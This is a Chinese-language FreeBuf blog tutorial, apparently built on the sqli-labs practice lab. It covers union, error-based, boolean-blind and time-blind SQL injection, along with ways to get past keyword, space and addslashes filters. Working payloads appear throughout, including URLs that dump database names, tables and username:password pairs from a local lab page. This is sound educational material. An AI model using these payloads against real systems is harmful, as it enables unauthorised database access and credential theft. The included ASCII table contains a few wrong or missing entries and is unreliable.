freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入
2025-02-17 14:19:51
所属地 陕西省

 SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)

union注入

1739771792_67b2cf9049cdc90375acc.png!small?1739771793083


1739771813_67b2cfa50bd7c4fba3c0f.png!small?1739771814248

1739771844_67b2cfc4ae4806aa63d68.png!small?1739771845127

1739771901_67b2cffd7e4e1e106a4b9.png!small?1739771902313

1739771928_67b2d0182eda98758908e.png!small?1739771928925

1739771886_67b2cfeeb75d97baa8221.png!small?1739771887879

1739771949_67b2d02dd9f2acdd769c8.png!small?1739771950635

总结:

1739771996_67b2d05c38ea5d56ed50c.png!small?1739771996771

报错注入:

1739772023_67b2d0775ff15186ce806.png!small?1739772024549

1739772033_67b2d0814146bf8ce4a16.png!small?1739772035780

extractValue() 报错注入

1739772060_67b2d09c1d3c85684922b.png!small?1739772061681

1739772078_67b2d0ae0765fd75d3741.png!small?1739772079169

1739772091_67b2d0bb5626838d1a067.png!small?1739772092271

1739772112_67b2d0d052b8c93357407.png!small?1739772112860

concat用法concat(1,2)输出为12,将第一个和第二个连接起来为了让路径报错

1739772132_67b2d0e421cb49b19f461.png!small?1739772133097

1739772151_67b2d0f73c7dd08079d67.png!small?1739772152162

updatexml报错注入

1739772240_67b2d150611bbd6006a6b.png!small?1739772241516

1739772254_67b2d15e10bede6339114.png!small?1739772254666

1739772264_67b2d1685ed583057be63.png!small?1739772264893

1739772275_67b2d173254e25892b179.png!small?1739772275842

floor报错

函数作用
rand()随机返回0~1之间的小数
floor()小数向下取整数
ceiling()小数向上取整数
concat_ws()将括号内数据用第一个字段连接起来
as别名
group by分组
count()汇总统计数量
limit这里用于显示指定行数

1739772354_67b2d1c2093db2a0ab7b9.png!small?1739772355800

1739772365_67b2d1cd993e23b5ab438.png!small?1739772366872

1739772375_67b2d1d70bb2d5dcbab6f.png!small?1739772376135

1739772388_67b2d1e492fe886d1a404.png!small?1739772389231

1739772401_67b2d1f1950fb5773471c.png!small?1739772403030

布尔盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况,对数据库中的内容进行猜解,实行sql注入

布尔盲注:web页面只返回True、False两种类型;利用页面返回不同,逐个猜解数据

1739772434_67b2d212342e02afca5e9.png!small?1739772434783

有真假两种类型的页面

ascii()转换为对应的ASCII码值

1739772455_67b2d2279edf6aa2c373b.png!small?1739772456168

1739772466_67b2d2322c0e83e3f4eb8.png!small?1739772467205

subdtr(查询语句,第几个字符,显示几个)

1739772486_67b2d2466cd96d3fb0f64.png!small?1739772488276

?id=1' and ascii(substr('语句',1,1))>97 --+

ASCII表

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

0

NUL

32

(space)

64

@

96

1

SOH

33

65

A

97

a

2

STX

34

66

B

98

b

3

ETX

35

#

67

C

99

c

4

EOT

36

$

68

D

100

d

5

ENQ

37

%

69

E

101

e

6

ACK

38

&

70

F

102

f

7

BEL

39

'

71

G

103

g

8

BS

40

(

72

H

104

h

9

HT

41

)

73

I

105

i

10

LF

42

*

74

J

106

j

11

VT

43

+

75

K

107

k

12

FF

44

,

76

L

108

l

13

CR

45

-

77

M

109

m

14

SO

46

.

78

N

110

n

15

SI

47

/

79

O

111

o

16

DLE

48

0

80

P

112

p

17

DCI

49

1

81

Q

113

q

18

DC2

50

2

82

R

114

r

19

DC3

51

3

83

X

115

20

DC4

52

4

84

T

116

t

21

NAK

53

5

85

U

117

u

22

SYN

54

6

86

V

118

v

23

TB

55

7

87

W

119

w

24

CAN

56

8

88

X

120

x

25

EM

57

9

89

Y

121

y

26

SUB

58

:

90

Z

122

z

27

ESC

59

;

91

[

123

{

28

FS

60

<

92

\

124

|

29

GS

61

=

93

]

125

}

30

RS

62

>

94

^

126

~

31

US

63

?

95

127

DEL

1739772600_67b2d2b8238f6fcd0746d.png!small?1739772600933

布尔盲注闭合符的判断

时间盲注

无报错、无回显、无真假值,web页面只返回一个正常页面;利用页面响应时间不同,逐个猜解数据

前提是数据库会执行命令代码,只是不反馈页面信息

函数作用
sleep()参数为休眠时长,以秒为单位
if(condition,true,false)condition为条件,当条件为真执行,当条件为假时执行

1739772652_67b2d2ec7594f2b563af3.png!small?1739772653365

1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #

1739772671_67b2d2ffcf42fdba13e45.png!small?1739772672709

1739772688_67b2d31008a54011e1b5f.png!small?1739772688522

成功延迟两秒响应为闭合符

SQL注入过滤绕过

注释符绕过

1739772759_67b2d357819b6c464a22c.png!small?1739772759985

1739772768_67b2d36045749d5aee14f.png!small?1739772768875

1739772780_67b2d36c371e9f8bab1f6.png!small?1739772780671

sql语句为
SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1

为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以

•获取数据库
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

此处获取的数据库为security

•查看security库数据表
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

•查看users表的所有列
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3

•获取内容
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3

and和or过滤绕过

1739772927_67b2d3ff33b4016c45e01.png!small?1739772927745

1739772940_67b2d40c7ab6f07e11525.png!small?1739772941105

&&可能不能识别,转换为url编码%26%26

空格过滤绕过

用+号代替空格

1739772971_67b2d42bbcd75cb1cc91c.png!small?1739772972483

使用报错注入(无空格)
1'||extractvalue(1,concat(0x7e,database()))||'1'='1

select和union过滤绕过

1739773003_67b2d44ba92a934358a23.png!small?1739773004222

1、用注释符变形
如 un/**/ion

2、大小写
uNion seLect

3、尝试复写单词
ununionion  seleselectct

宽字节注入绕过

addslashes() 函数
在指定的预定义字符前添加反斜杠
这些字符是 '  "  \  NULL

当写入或查询用户名“1”时,数据库会识别单引号 ’ 为闭合符号,要求再输入一个单引号将其闭合,只查询 “1” 而没办法查询 " 1’ "
如果输入 " 1’ ",使 ’ 失去闭合符的功能,则数据库会识别为 " 1’ "
?id=1 ’ 单引号实际变为 ’ 无法识别为闭合符,从而防范sql注入

宽字节绕过前提为GBKB编码

1739773051_67b2d47b623f74456fce6.png!small?1739773052257

1739773063_67b2d4874ce4080a04af9.png!small?1739773071219

1739773072_67b2d490867c68a8968f1.png!small?1739773073668

# SQL注入 # SQL # mysql # sql注入利用方式 # sql注入各种姿势
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录